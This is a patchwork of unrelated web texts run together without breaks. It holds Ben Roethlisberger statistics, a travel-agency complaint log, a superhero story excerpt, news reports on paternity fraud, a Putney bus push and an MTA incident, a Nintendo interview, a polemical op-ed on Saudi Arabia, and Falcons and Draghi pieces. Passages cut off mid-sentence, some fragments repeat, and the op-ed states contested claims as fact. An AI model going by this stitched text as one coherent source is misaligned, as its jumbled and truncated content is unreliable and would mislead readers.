Season Passing Rushing Sacked Fumbles Year Team GP GS Record Cmp Att Pct Yds Y/A Lng TD Int Rtg Att Yds Avg Lng TD Sck Yds Fum Lst 2004 PIT 2 2 1–1 31 54 57.4 407 7.5 34 3 5 61.3 9 75 8.3 20 0 2 11 1 0 2005 PIT 4 4 4–0 58 93 62.3 803 8.6 54 7 3 101.7 19 37 1.9 10 2 6 35 0 0 2007 PIT 1 1 0–1 29 42 69.0 337 8.0 40 2 3 79.2 4 13 3.3 6 0 6 40 1 1 2008 PIT 3 3 3–0 54 89 60.7 692 7.8 65 3 1 91.6 5 0 0.0 0 0 8 58 0 0 2010 PIT 3 3 2–1 54 91 59.3 622 6.8 58 4 4 76.4 21 63 3.0 1 1 9 48 3 1 2011 PIT 1 1 0–1 22 40 55.0 289 7.2 33 1 1 75.9 3 15 5.0 9 0 5 45 0 0 2014 PIT 1 1 0–1 31 45 68.9 334 7.4 44 1 2 79.3 2 16 8.0 16 0 5 37 0 0 2015 PIT 2 2 1–1 42 68 61.8 568 8.4 60 1 0 93.1 0 0 0.0 0 0 6 55 0 0 2016 PIT 3 3 2–1 64 96 66.7 735 7.7 62 3 4 82.6 8 11 1.4 8 0 2 15 0 0 2017 PIT 1 1 0–1 37 58 63.8 469 8.1 43 5 1 110.5 2 16 8.0 15 0 2 7 1 1 Career 21 21 13–8 422 676 62.4 5,256 7.8 65 30 24 86.5 73 246 3.4 20 3 51 351 6 3
Comebacks/game-winning drives in the fourth quarter/overtime
Roethlisberger set an NFL rookie record in 2004 with five comeback wins in the fourth quarter, and six game-winning drives in the fourth quarter/overtime (including one playoff game).[198][199] Roethlisberger has the most comeback wins (19) and game-winning drives (25) through the first seven seasons of a player's career.[200][201] He is the only quarterback in NFL history to reach 20 comeback wins before the age of 30.[202]
NFL records
Most regular season wins in a season, rookie QB – 13 (2004) [203]
Longest regular season win streak to start a career for a NFL QB – 15 games (won all 13 starts in the 2004 season, won first 2 games of the 2005 season) [204]
Most wins as a starting quarterback in first five NFL seasons (reg. season only) – 51 (from 2004 to 2008) [89]
Highest completion percentage, rookie season – 66.4% (2004) [205] (Since broken by Dak Prescott)
(Since broken by Dak Prescott) Highest single-game completion percentage, rookie season (min. 20 attempts) – 84.0% (completed 21/25 at Dallas October 17, 2004) [206] (Since broken by Dak Prescott)
(Since broken by Dak Prescott) Most games with a completion percentage of 70.0% or higher, rookie season (min. 10 attempts) – 6 (2004) [207]
Most games with a completion percentage of 80.0% or higher, single season (min. 10 attempts) – 4 (2007) [208]
First QB to start two Conference Championship games in first two seasons in the NFL (2004 & 2005) [204]
Youngest starting QB ever to win the Super Bowl (2005; second-youngest QB to play in the Super Bowl, behind Dan Marino) [209]
Second quarterback in NFL history, along with Peyton Manning, to register three perfect passing games during the regular season, and the only quarterback to ever register two perfect passing games in one regular season. [204]
Lowest passer rating for a Super Bowl winning QB – 22.6 (Completed 9 of 21 passes for zero touchdowns with two interceptions) [210]
Most yards passing in relief (379 yards on November 15, 2015 against the Cleveland Browns) [211]
Most consecutive 6+ touchdown pass games (2) [212]
Most TD passes in consecutive games (12) [213]
Most career 500+ yard passing games (3)[214]
Pittsburgh Steelers franchise records
In his fifteen seasons, Roethlisberger has many individual accomplishments that are record performances in Steelers history.[216]
On October 11, 2012, he passed Terry Bradshaw for most passing yards for a Steelers quarterback.[217]
On December 8, 2013, he passed Terry Bradshaw for most passing touchdowns for a Steelers quarterback.[218]
Career records
147–69 (.681) record as starting QB (includes a 13–7 playoff record)
Highest passer rating (Min. 20 attempts) – 93.8
Highest completion percentage (Min. 20 attempts) — 64.1%
Longest pass completion – 97-yard touchdown to JuJu Smith-Schuster on October 29, 2017 against the Detroit Lions
Most pass attempts – 6,434
Most pass completions – 4,122
Most times sacked – 475
Most 200+ yard passing games – 124 (includes nine playoff games)
Most 300+ yard passing games – 41 (includes one playoff game)
Most consecutive games with 300+ yards passing – 4 (from November 8, 2015 through December 12, 2015)
Most 400+ yard passing games – 10
Most 500+ yard Passing games – 3
Most 3,000-yard passing seasons – 12 (2006–2017)
Most consecutive 3,000-yard passing seasons – 12 (2006–2017)
Most 4,000-Yard Passing Seasons – 4 (2009, 2011, 2013, 2014)
Most consecutive 4,000-yard passing seasons – 2 (2013–2014)
Most 3+ TD passing games – 45 (includes one playoff game)
Most 4+ TD passing games – 14
Most 5+ TD passing games – 5
Most 6+ TD passing games – 2
Most consecutive games with a TD pass – 30 (from September 9, 2012 through September 7, 2014)
Most consecutive home games with a TD pass – 45 (from December 19, 2010 through September 17, 2017)
Most 4th quarter comeback wins – 32
Most game-winning drives – 43
Most games with a passer rating over 100.0 (regular season; min. 10 attempts) – 84 (includes four playoff games)
Most games with a perfect passer rating – 4
Most games with 40+ pass attempts – 52 (includes five playoff games)
Most games with 20+ completions – 119 (includes nine playoff games)
Most games with 30+ completions – 22 (includes two playoff games)
Season records
Highest completion percentage – 67.1% (2014)
Most touchdown passes – 34 (2018)
Highest touchdown pass percentage – 7.92% (2007)
Highest yards per attempt – 8.90 (2005)
Highest passer rating – 104.1 (2007)
Most passing yards – 5,129 (2018)
Most 200+ yard passing games – 16 (2018)
Most 300+ yard passing games – 9 (2014) [219]
Most 400+ yard passing games – 2 (2009, 2014, 2018)
Most 500+ yard passing games – 1 (2009, 2014, 2017)
Most 3+ TD passing games – 5 (2007, 2009, 2018)
(Tie) Most 4+ TD passing games – 3 (2007)
Most pass completions – 452 (2018)
Lowest interception percentage – 1.29% (2010; 5 INTs on 389 attempts)
Fewest interceptions (Min. 10 attempts/game) – 5 (2010)
Single-game records
Most passing yards – 522 (Completed 40 of 49 passes for 522 yards and 6 touchdowns on October 26, 2014 against the Indianapolis Colts)
Most pass completions – 44 (Completed 44 of 66 passes for 506 yards on December 10, 2017 against the Baltimore Ravens)
(Tie) Most consecutive passes completed, single game – 15 (Completed 15 straight on November 26, 2007 against the Miami Dolphins on Monday Night Football. Bubby Brister also completed 15 straight on October 1, 1989 against the Detroit Lions.)
Highest completion %, game (min. 20 attempts) – 85.7% (Completed 18 out of 21 attempts on November 26, 2007 against the Miami Dolphins on Monday Night Football)
Most touchdown passes, game – 6 (Threw six TD passes against the Indianapolis Colts on October 26, 2014 and again the following week on November 2, 2014 against the Baltimore Ravens)[220]
Rookie records (achieved during 2004 season)
Most pass attempts – 295
Most pass completions – 196
Highest completion percentage – 66.4%
Most passing yards – 2621
Most touchdown passes – 17
Highest yards per attempt – 8.88
Highest passer rating – 98.1
Wins as starting quarterback – 13
Postseason records
Highest completion percentage (Min. 50 attempts) – 61.3%
Highest passer rating – 84.5
Charitable works
Roethlisberger started a foundation with the following mission statement: "The Ben Roethlisberger Foundation seeks to (a): provide support for police and fire departments throughout the United States with a particular emphasis on service dogs and (b): to enhance the quality of life for residents of Findlay, Ohio and Pittsburgh, Pennsylvania." [221]
In 2005, Roethlisberger donated one game check to aid the tsunami relief fund.[222] He has also donated over $100, |
: now he changes stories and says the “he can’t issue the ticket for the next day”…??? Why would he say that now, after they offered me the itinerary…?
offered me the itinerary…? 2:55: he now begins to claim my payment was incomplete/didn’t go through, and says that they could not issue the ticket as a result. Then he claims that I should have called “a day before” even though I was booking a ticket that was supposed to leave in about 14 hours…
3:58: he continues on about how it’s not possible for me to change my ticket and makes excuses about how it’s not possible to change a ticket on such short notice. Then at 4:25 he says it’s “your fault” that I missed my first flight.
4:59: I complain that if I pay 200 euros to pay a change fee, they should have contacted me if there was a failure for the payment going through. Everything looked like it went through on my end. At 5:49 he claims that “the connection between your credit card company and our inquirer here…was completely wrong.”
6:49: He blames me for “trying several times” to make my card work, then claims my IP address was sending a “70% fake signal on that transaction”…?? Then claims they have “no contact, no address” for the card..??
7:50: first cut out
8:00: saying that I tried too many times to pay on the same IP address..??
9:44: I ask why the agent wouldn’t respond to me asking for confirmation of the flight…He says that maybe she went on vacation or left the office, and then they would have to wait until Monday to figure things out. Something also about “strange signals”…
11:13: Now he claims that since I paid the 200 euros to his company the ticket should be changed automatically, even though there’s no way the airline could automatically change the flight if I make a payment to the travel agency, and even though he previously said I hadn’t made the payment.
12:18: Now he claims they can’t rebook the ticket since they didn’t have the money…
12:54: “If we don’t get the money, why should we respond? Maybe you found somebody else!”..????
14:46: Here he claims that they had made reservations for me that day, “100,000%.” I ask him to show me a receipt or anything proving that they had actually rebooked it, but he claims that it was “lost out of their system” and he wasn’t able to show it to me. Unfortunately the second part of this is cut out a little.
I ask him to show me a receipt or anything proving that they had actually rebooked it, but he claims that it was “lost out of their system” and he wasn’t able to show it to me. Unfortunately the second part of this is cut out a little. 16:00: He claims my transaction is “high risk” and no one would touch it…even though they send me a possible itinerary the next day..?
17:15: the audio is a bit jarbly here but it should be mostly understandable.
18:49: He claims on his legal side that they’re only responsible for the tickets they confirm, so I quote the part of his website about the gross negligence. He claims again that I simply failed to pay the change fee.
19:50: “We can speed up the conversation…what do you want we should do?” “Reimburse me for the ticket.” “*laugh* never ever sir, never ever.”
25:19: another cut in the audio.
26:09: He says they don’t respond to customers after not making payments. When I tell him she sent me an e-mail the next day, he says “I don’t know”…
I could go on, but the next 35 minutes are more or less the same back and forth. Just running around in circles with him making up random things that contradict everything else he’s said. It’s annoying that the agent who e-mailed me also claimed that the airline was the one who failed to respond to the booking, while the boss claims it was due to a payment failure on my part. By the end of the call, I honestly couldn’t tell if I was just dealing with an incompetent business or a weasel who was trying to get out of paying out any kind of damages.
I was never even offered so much as compensation for what a hotel stay would have cost me had I stayed an extra day.
I figure the chance of any legal recourse of seeking compensation through other means is almost impossible, so I guess this story is more just venting more than anything else. And maybe others can see the way these guys conduct business and avoid them in the future.“What makes you think I’m dying here?” The gun didn’t twitch in the slightest, broken legs and sudden change of environment be damned. Charles Adair, whatever moral issues he might have, clearly hadn’t skimped on his Hero training. He was a man who knew how to keep focus.
In response, Nick leaned back and crossed his legs, putting on the most casual posture he could muster. “That’s what this is all about, isn’t it? You got busted, so you wanted to die. That’s what Globe was thinking. Me, I have my own suspicions. Like maybe having a Super who can warp reality to his will would open up some interesting excuses. After all, the data we got came from one of Globe’s people, and the guards were hunting Globe as their top priority. Someone with enough money and lawyers, someone really clever, might be able to twist the story into Globe being the one behind it all. Say he put the bunker under shell companies you own, controlled you into doing what he wanted to explain away any in-person issues. The only ones who could testify against you are Globe and his cronies, and of those only the top man is a real threat. All of the others, you can say, had their memories messed with. It’s a power he used on Crispin, so the DVA knows it’s real. Even if there’s no proof he can do more than blank memories, that alone opens up the idea as possible. Maybe you’ve even got someone with mental abilities on retainer, a Super who can make you think the story is true, thwarting any telepaths.”
Nick paused, briefly, waiting to see if Charles would offer up some lukewarm excuse. When none came, he continued his theory. “Globe is your biggest threat, he’s a first person account. Neutralize his ability, stick him with a telepath, and poof: he can prove he had no hand in this. That’s why you were going to kill him. Use threats to get him alone, emotion and exhaustion to lower his guard, and the moment he gave you a chance he gets a bullet to the skull. No more threats, no more person to disprove your story. He made a good scapegoat once, so why not use him again? Especially after the DVA finds out there were no nukes under the base, you can reframe it as you finally capturing a wanted killer before he could betray those innocent Heroes he was fooling. Would it be a hard sell? Of course. But compared to where you are now, why not at least try? If you ask me, it seems possible, but that’s because unlike most of your enemies I know better than to underestimate you.”
Part of Nick wondered if Charles would deny it all, pretend he’d been sincere about wanting to escape and reconcile. Charles Adair was a practical man, however. He didn’t waste words spinning tales unless someone was going to believe them. It wasn’t the same as admitting Nick was right, but it also wasn’t a direct rebuttal.
“Whether you’re right or not, you’re a little too clever for your own good. Has anyone ever told you that?”
“Annually, at the very least,” Nick replied.
“They should up the frequency.” Charles adjusted his grip slightly, never letting the gun’s muzzle point away from Nick’s body. “So, even if you’re right, what’s your play here? I’ve read up on you, at length. I know you wouldn’t be doing this if you didn’t want something.”
“Hurtful. Fair, but hurtful.” Nick gave a mock swoon before righting himself, pausing only to adjust his sunglasses. “And I already told you why I came here: this is the day you die. The others would have gotten in the way, but luck was in my favor since I managed to get you alone.” Confident as he felt, Nick knew better than to let on just how powerful he was at that precise moment. Games like this weren’t over until the final move.
Another adjustment on the grip, Charles was picking his shot. “Or I could kill you now.”
“Great idea. Then, when the Heroes arrive, you only have a dead Super and a knocked-out Hero to answer for. That should really help build your case of innocence.”
“Doesn’t make things worse for me than they already are.” Charles, to Nick’s surprise, lowered the gun slightly. “But it doesn’t help me either. How about instead, we make a deal? That’s more your speed, I believe. You know I have money, however with your connections and power you don’t prize it like most do, so what about something you do value? I have information.”
Nick scoffed, a response he’d been working to perfect. It wasn’t quite there yet, but he elected not to try and go for a second one. “If you’re going to try selling me on the procedure’s secrets, we already know the root of it and we have your data. Probably your bunker too, if I know my friends.”
“Oh no, I know so much more than that. I am the man at the center of a billion-dollar spider-web. There’s virtually no question you could ask I couldn’t get the answer too. For example: would you like to know about Vince’s real parents?”
“Vince’s real parent is the one-armed badass who took care of him, raised him, and just went to bat for him yet again,” Nick snapped, a tad more harshly than he intended. “If you mean his biological parents, which one are you talking about? The small-time robber, or the junkie prostitute he knocked up? They’re both long dead either way, his father was gunned down and his mother over-dosed only a few weeks after she put Vince into the adoption system. Kept clean for the pregnancy, decided to celebrate afterward, truly sad stuff. See, you’re not the only one with resources and dedication, Charles. I cracked that mystery freshman year, but Vince has never shown the slightest interest in learning about the people who gave him away. We’re all more focused on the ones who stick around.”
The gun wasn’t sinking anymore, however it also hadn’t raised back up. Charles was staring at Nick, something new in his face. It wasn’t an expression Nick had seen the man wear before, but there was no mistaking it: respect. Begrudging respect, true, yet respect all the same.
“We are very similar people, Nicholas Campbell. In another few decades, you could be in my position. What would you do if something happened to your friends, or to Alice? What would you sacrifice to save them?”
“You’re right. We’re very similar, and I know it. The others hate you, fear you, despise you, but I’m the only one of the lot who gets it. I understand you, Charles Adair. I know what it is to feel that drive, to be smart and capable without the same restraints of morality as most others. In your position, I very well might have made the exact same choices. I know who I am, and I can admit that. But that understanding won’t buy you mercy; in fact it’s the very reason I came here to make sure you die. Because you are the threat to the people I love. You are the one who could put them in jeopardy yet again. I’m not better than you, I’m not more noble than you, hell in a few decades I might be even worse than you. I’m just the one who is set against you in this particular combat, and I plan to win.”
In a flash, the gun was back up, not that Nick showed visible concern. He was still sitting on the rock, relaxing peacefully. “For someone without a weapon, you’re making a lot of threats,” Charles pointed out. “But if you’re so sure this is the end, why not kill me already? Why waste time having this conversation?”
“Simple. I’ve seen your past. Some of it in dreams, but you get the idea. There is, was, good in you once. I thought you might want to make this easy on everyone. If I kill you, it’s going to cause an investigation, but if you finish yourself off then the matter is settled. Just this once, as your last action in this world, I thought you might want to make things easier on the people you care about. Alice doesn’t want to see me hauled into court.”
“A good move,” Charles said. “But you should have sweetened the pot by promising that you’d look after my daughter, and offer to make sure Shelby gets the procedure.”
“Why? Alice can look after herself, and we both know I’m going to help both of them regardless of what you choose. I’m not an amateur, let’s not waste each other’s time by pretending that I am.”
In Charles’ hand, the gun twitched ever so slightly, a lone sign of what was to come. “Fair enough. You deserve the same as any worthy opponent.”
The gunshot rang out through the empty space and rocks around them, followed by the muffled thud of a body slumping to the ground. From his rock, Nick watched carefully, waiting for any signs of life.
“I told you to use your power, Alchemist. That’s the thing about guns, they have the potential, no matter how small, to catastrophically misfire. Especially when they’ve taken damage from a sudden high drop to hard ground. So much shrapnel, all it takes is one piece at the right speed and angle. Through the eye, into the brain, well you’d get the idea if you could still hear. Any percentage, no matter how tiny, is enough for me to work with right now.” Nick checked his watch once more. “Although you did cut it a lot closer than I was hoping. Wondered how much goading it would take to make you shoot. A couple more minutes, and I’d be out of juice. Then again, it’s not really fun to gamble unless there’s something on the line, so thanks for keeping it interesting to the finish.”
Laying back on the rock, Nick peeled his sunglasses off and set them to the side, looking up to the sky. Already the golden lines were starting to fade. Soon he’d be back to normal Nick, facing the future without nigh-insurmountable control of probability.
Good. This bit was getting tedious. Nick still had so much work to do for the years ahead, so many tasks that remained. In the game of life, this all amounted to little more than a single move on the board. Still, Nick smiled as he stared bare-eyed at the sky and waited.
It had taken him four years, an expulsion, new friends, a few people’s deaths, and untold hours of hard work to reach this point. If there was ever a time to stop and savor a moment, this was surely it. Because as soon as the Heroes arrived, everything started anew. There were new moves to be made, ones he couldn’t spend four years on. That would came later, though. For just the next few minutes, Nick enjoyed his lazy bask in the sun, the corpse of Charles Adair already cooling nearby.Image copyright Liverpool Echo Image caption Morris initially told Mr Somers he was not the father before changing her story the following year
A woman who faked a paternity test to fool an ex-partner into believing he was her baby's father has been jailed.
Danielle Morris, from Seaforth, Merseyside, initially told Jamie Somers in May 2014 that he was not the father, but later changed her story.
Mr Somers paid maintenance, had the baby stay with him on a weekly basis and tattooed her name on his arm before a test showed they were not related.
The 29-year-old was jailed for one year for fraud at Liverpool Crown Court.
The court heard Morris and Mr Somers, a singer and Michael Buble impersonator, had a brief relationship in November 2013 and, six months later, she told him she was pregnant but he was not the father.
She contacted him again in 2015 to say a DNA test had shown the man she thought was the girl's father was not and implied that Mr Somers was.
Mr Somers then paid for another DNA test but Morris faked a results document.
'Miss her immeasurably'
The court was told he was delighted and had set aside a bedroom in his house for the baby, Darcy.
Mr Somers only discovered the lie when he called the testing company for more details and was told they had not tested him.
A subsequent test showed he was not the girl's father, news which he said "devastated" him.
Offering mitigation, Morris's counsel said she had "wanted a father figure" for her daughter and had thought Mr Somers would give the girl "a chance" in life. Morris pleaded guilty to fraud.
Speaking after sentencing, Mr Somers said there was "no celebration on my behalf as a little girl, who was innocent and used as a pawn in Danielle Morris' game, is inevitably the victim here".
"As long as live I will worry for the child and miss her immeasurably," he said.Tom gets a call from extreme sports athlete RAD MCKINNEY on his grinding DVD series! All the Coen Brothers movies are ranked BEST to WORST! Plus, what is the MOST OFFENSIVE SONG ever?
MUSIC HEARD ON THIS EPISODE Artist Song Album Label Link Artist Simon Doom Song Roseate Album Negotiate With The Monkey EP Label Self Link GET Artist Ultimate Painting Song (I've Got The) Sanctioned Blues Album Green Lanes Label Trouble In Mind Link GET Artist Kelley Stoltz Song When You Forget Album Circular Sounds Label Sub Pop Link GET Artist Benji Hughes Song? Take You Home Album Songs In The Key Of Animals Label Merge Link GET Artist Kurt Vile Song Red Apples For Tom Scharpling Album Kurt Vile / Steve Gunn Parallelogram split LP Label Three Lobed Records Link GETWhile their competitors have done so for years, Nintendo has finally decided to start charging for their online service with their latest console. This news came as a shock to some fans, Nintendo first announcing the premium service at their January Switch presentation. However, an interview with Famitsu revealed why Nintendo decided to make such a move. Check out their answer below.
You also plan to start charging for the online service come fall. It’s only natural in this current age, but can you tell us again why you chose to charge for it, and what sort of services it will entail?
Takahashi: We decided to charge for the service because we are concerned with customer satisfaction. We’ll be maintaining the online service and providing new services that we haven’t had up until now, and there are costs associated with those. We’d also like to maintain a stable playing experience and provide proper support. We are working to prepare all of the features until the service begins in the fall of 2017, and details on the service will be available at a later time.MECCA, SAUDI ARABIA - SEPTEMBER 12: Muslim pilgrims worship around the Kaaba at the Masjid al-Haram (Grand Mosque) as expansion and construction works continue ahead of the start of the annual hajj pilgrimage in Mecca, Saudi Arabia on September 12, 2015. According to the Saudi authorities, a total of 107 people were killed on Friday afternoon when a massive crane collapsed in Meccas Grand Mosque, Islam's holiest site, which at the time had been teeming with worshippers performing the annual Hajj pilgrimage. (Photo by Ozkan Bilgin/Anadolu Agency/Getty Images)
The first thing you need to know about Saudi Arabia is that it is not a country but a financial and religious empire with a million poisonous tentacles stretching across both the West and the Muslim world. Its wealth is built upon the dirty oil under its sands, its legitimacy crafted upon an even dirtier political deal with a totalitarian religious cult known as Wahhabism.
The Saudi Royal Family treats the country as its private property. When the House of Saud conquered the territory known as Arabia, they named the country after themselves, hence the Saudi before the Arabia. It is more of a corporation than anything else, except The Family controls Islam's holiest cities and profits handsomely off them.
Saudi Arabia should have made more news last week than it did. For starters, it was the anniversary of 9/11, and Saudi Arabia played at least an indirect role in Al Qaeda's attacks on Washington and New York. More on that in a minute. But a Saudi billionaire also donated $10 million to Yale University and Yale Law School to establish a Center of Islamic Law and Civilization. The official announcement marked this as a great triumph. The establishment of such a center would have indeed been a victory worth celebrating had the money not originated from such a dubious source.
The Saudi billionaire-donor is named Abdullah Kamel. He is the CEO of the Dallah Albaraka Group, a Saudi conglomerate. Dallah Albaraka Group was a named defendant in a lawsuit brought by the families of 9/11 victims. Many of these suits were eventually dismissed on jurisdictional grounds, but a suit against Dallah Avco, a subsidiary of Dallah Albaraka Group, is currently in the discovery stage. Dallah Avco is an aviation company with ties to the Saudi Air Force -- the same air force dropping bombs on Yemenis this very second, mutilating and killing thousands of them. Dallah Avco employed a man named Omar al-Bayoumi, a Saudi citizen who held a do-nothing job with the company while he was befriending and helping two of the 9/11 hijackers.
The Dallah AlBaraka Group and Abdullah Kamel undoubtedly operate with the blessings of the Saudi Royal Family, whose role in the 9/11 attacks is finally starting to be exposed. Earlier this year, the "20th hijacker," Zacarious Moussaoui, directly accused the Saudi Royal Family of knowing about the 9/11 attacks in advance and funding al Qaeda's plot. The Joint Congressional Inquiry into 9/11 redacted 28 crucial pages dealing with alleged Saudi involvement in the planning and execution of the attacks. Bob Graham, former senator and ex-chairman of the Senate Intelligence Committee, has said in sworn statements that the Saudi government assisted the 9/11 terrorists.
Occam's Razor directs the proponents of any theory to eliminate unnecessary assumptions. In the case of 9/11, 15 of the 19 hijackers were Saudis. They came from a country run by absolute monarchs, where information is tightly controlled, where a company known as the Saudi Bin Laden Group is the largest construction conglomerate. Trace the money back to its roots, and you quickly find that this "gift" tarnishes Yale beyond measure.
But the Saudi-Yale deal is about more than Yale or 9/11, much more. It is about elite institutions constantly prostrating at the feet of the Saudi Royal Family. The Family has given Harvard and Georgetown $40 million. They have funded research at leading scientific institutions to maximize Saudi oil output. They have donated to leading foundations, including the Clinton Foundation. They have paid for fundamentalist imams in American prisons. From California to India, they have erected a mammoth infrastructure of Wahhabist madrassas which indoctrinate impressionable young men to the virtues of their cause.
In this last charge alone, the Saudi Royal Family's dollars are drenched in blood. The House of Saud came to power in the 1700s by making a deal with a fanatical preacher named Muhammad Ibn Abd al-Wahhab, who taught that Islam had to be stripped down to its puritan essence. All later adaptations were eliminated because they were seen as sinful. A Muslim had to adhere to the Wahhabists' literal interpretation of scripture or risk being deemed an apostate, and thus, liable to be murdered. Visits to the shrines of saints were criminalized as idolatrous. The Shia, the Sufis, the Ahmadis--all Muslim minorities--were thought to have deviated from the One True Path and so they, too, could be killed. Because Wahhab and his gang claimed to be defending Islam, their violence was legitimated as jihad. Homosexuals and blasphemers were to be put to death. Adulterers were to be stoned. Thieves were to have their hands amputated.
In the Saudi-Wahhab deal, Wahhab pledged to "support the ruler, supplying him with glory and power" if Muhammad Ibn Saud made Wahhabist doctrine his official dogma. In the early 1800s, the Saudis took over Makkah and destroyed the monuments built to the Prophet Muhammad's family. The Prophet's tomb itself was just barely saved. They destroyed the cemetery where members of the Prophet's family were buried. They ransacked the holy Shia city of Karbala in Iraq, mass-murdered women and children, and pillaged the tomb of Husain, the Prophet's nephew and the spiritual leader of the world's Shia.
In more modern times, the Saudis have spent upwards of $100 billion building madrassas around the world. In Pakistan, once a relatively liberal country, the number of Saudi-funded fundamentalist madrassas went from 900 to 32,000 in over a decade. These madrassas did not produce engineers and doctors but religious fanatics. Some of the students in these madrassas became leaders of the Taliban and al-Qaeda. Simply put: You do not get today's Sunni-Shia war without the Saudi Royal Family exporting Wahhabism, an ideology with conflict and plunder inherent in its core.
The legacy of Saud and Wahhab continues, though now with a Las Vegas bent. Makkah--Islam's holiest city and the destination of the Hajj pilgrimage which attracts over 3 million Muslims annually--is surrounded by cranes and construction facilities building hotels and luxury shopping centers that loom over Islam's holiest sites. In recent years, the house of Khadijah, the Prophet's wife, was destroyed to build toilets. The house of Abu Bakr, the Prophet's companion, was razed to build a Hilton hotel. Over 98% of Arabia's religious heritage sites, and thus Islamic history, have been destroyed. If all of this sounds eerily like ISIS it is because ISIS and Saudi Arabia share the exact same ideology. The Saudis just happen to be our friends.
The man who gave Yale that $10 million check hails from the most totalitarian country on earth, second perhaps only to North Korea. Enforced as official dogma in the Kingdom are the two most fundamental and ancient forms of totalitarianism: Man's control over the bodies of women and his control over the thoughts of all citizens. Women live under a segregationist, sexist, apartheid state. The thought-murdering ideology of Wahhabism criminalizes dissent before it can even germinate in individual consciences. The law is not supreme; the House of Saud is. The purpose of the law is not to serve and protect but to preserve the Family and destroy the minds and bodies of its enemies, beginning with the Shia.
The study of Islamic civilization is desperately needed in the West. The writings of ancient Greek philosophers were translated and preserved by Muslim philosophers and scientists in the great libraries of Baghdad. Our numerical system is owed to Persian and Arab mathematicians. Much of our current understanding in physics, calculus, philosophy, political economy, medicine, indeed, the scientific method itself, is owed at least in part to Islam's golden age. Try and get to the Renaissance and Enlightenment without Islam's discoveries and you will find yourself stuck in the Dark Ages. Islamic civilization was open, tolerant, diverse. Wahhabism and the Saudi Royal Family inverted all of that, built a sectarian empire, and with their oil money, bought off those who could be bought, and imposed themselves on everyone else.Man arrested over 'pushing' woman into path of bus in Putney
Man arrested over 'pushing' woman into path of bus in Putney
The jogger was filmed apparently pushing the woman into the road
A man has been arrested after a jogger appeared to push a woman into the path of an oncoming bus in Putney, southwest London.
The 41-year-old suspect was held on suspicion of causing grievous bodily harm after officers made enquiries at an address in Chelsea, west London.
He was taken to a south London police station for questioning and has been released under investigation pending further inquiries.
CCTV footage captured the moment the 33-year-old victim was walking across Putney Bridge when a runner knocked her into the road.
She was put in "extreme" danger and only avoided a passing double-decker bus because of the quick reactions of its driver, police said.
Passengers disembarked and rushed to the woman's aid.
Around 15 minutes later, the jogger is said to have made his way back across the bridge and although the victim tried to speak to him, did not acknowledge her and carried on.
The woman suffered minor injuries in the incident, which happened at about 7.40am on 5 May.
The Metropolitan Police said it had received a "good" response to an appeal since it released footage of the incident on Tuesday.
:: Anyone with information or any witnesses are asked to call Putney Safer Neighbourhood Team on 020 8785 8874 or 101Exactly five years ago, European Central Bank president Mario Draghi demonstrated the power of words. The euro zone was in the throes of crisis, with bailouts of debt-laden members pushing the currency union to the verge of collapse. But with a simple, seemingly off-the-cuff phrase, Draghi fundamentally changed the course of events: “whatever it takes.”
At a speech in London on July 26, 2012, the ECB president gave an account of the euro-zone economy. Bond yields of weak euro-member governments were soaring, and traders doubted that national, euro- or EU-level institutions could get their act together in time to avert disaster. Draghi sought to convince international investors that the region’s economy wasn’t as bad as it seemed. He then made the momentous remark:
“Within our mandate, the ECB is ready to do whatever it takes to preserve the euro. And believe me, it will be enough.”
(Bizarrely, this historic speech kicks off with Draghi giving a strange analogy of how the euro is like a bumblebee—”it shouldn’t fly but instead it does.” There is something about how bumblebees graduate into “real bees.” No, it still doesn’t make much sense.)
Traders reacted immediately to Draghi’s forthright resolve, and a week after his speech the ECB announced a program to buy the bonds of its distressed countries, known as Outright Monetary Transactions. Although the ECB never ended up using this program, the promise was enough to calm investors and bring down bond yields across the euro zone.
The ECB eventually launched a bona fide bond-buying program in early 2015, but most of the improvement in the euro zone’s weakest members’ borrowing costs was achieved purely by Draghi’s verbal interventions.
Today, traders are as bullish on the euro as they have been in many years, and the IMF just upgraded its forecast for the region’s growth prospects. In the surest sign that the region has turned a corner, Greece returned to the market this week, finding eager investors for €3 billion ($3.5 billion) of government bonds.NEW YORK (CBSNewYork) — The Metropolitan Transportation Authority came under fire Tuesday for a disturbing incident that was caught on camera.
As CBS2’s Ali Bauman reported, videos showed an MTA worker dragging a passenger from a subway train at the Church Avenue stop in Kensington, Brooklyn.
The Church Avenue stop is the last on the G Train, which means all passengers are supposed to get off. But when one man stayed sleeping in the subway car, an MTA employee took matters into his own hands.
Recorded through the G Train windows, the passenger was dragged on his back by an MTA worker. He was pulled past row after row of seats by one arm – as his shirt bunched and his skin skidded against the subway floor.
Once they reached the door, the neon-clad worker nudged the passenger with his foot and told him to get up. His coworker was seen moving in front of the camera and beckoned the passenger over.
By then, the passenger was able to stand up and walk out.
“You’re on the job. You’re in uniform,” said witness Claude Harris. “What would give you that notion that you can do that and everything would be fine?”
Harris shot the video on his phone around 9 p.m. this past Saturday. He said the passenger had been sitting near him asleep for most of the ride.
“His face was pretty flushed,” Harris said. “I didn’t smell alcohol, but I can tell the results of someone drinking.”
When the train pulled to the end of the line at Church Avenue, MTA workers started clearing out the cars. Harris stepped off, curiously watching the employee walk over to the sleeping stranger.
“He just immediately like goes: ‘Yo! Wake up!’ and just grabs him, throws him down, and before the guy can even know what was going on, he’s being pulled by his hoodie,” Harris said.
CBS2 showed the video to G Train commuters. Everyone who saw it was horrified.
“Wow, and instead of kindly waking him up they’re going to drag him?” said commuter Donald Smith. “That’s a human being right there.”
Many riders also told CBS2 that passed out passengers are not exactly rare sights in the city, so the MTA should have a protocol for handling them.
“I think he should have called for help, so you know, you got more than one person to pick him up and help him out instead of dragging him,” said commuter Sam Cekig.
“You don’t do that,” said commuter Wendy Carrasco. “That’s unacceptable.”
“Having a coworker there, he could’ve opened up the other door and asked his coworker to help him escort the man off,” added Harris.
The MTA denied CBS2’s request for an on-camera interview. A representative called the vide disturbing, and said the employee in the video has been removed from service while the incident is being investigated.
CBS2 asked the MTA how employees are expected to clear a sleeping passenger. There was no response late Monday afternoon.
Other city agencies said the right procedure is to try to wake the person up and then call an ambulance.The Atlanta Falcons open their new $1.5 billion Mercedes-Benz Stadium with high expectations coming off of last year's Super Bowl appearance.
Reigning MVP Matt Ryan, Julio Jones and Devonta Freeman have the offense primed to put up record-setting numbers, while coach Dan Quinn's defense, led by NFL sacks leader Vic Beasley Jr., is faster and deeper than for any of Quinn's three seasons with the club.
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Will the Falcons avoid a Super Bowl hangover and clear the memories of that devastating 34-28 overtime loss to the New England Patriots from their heads? Only time will tell.
Here are game-by-game predictions for how the Falcons might fare in 2017:
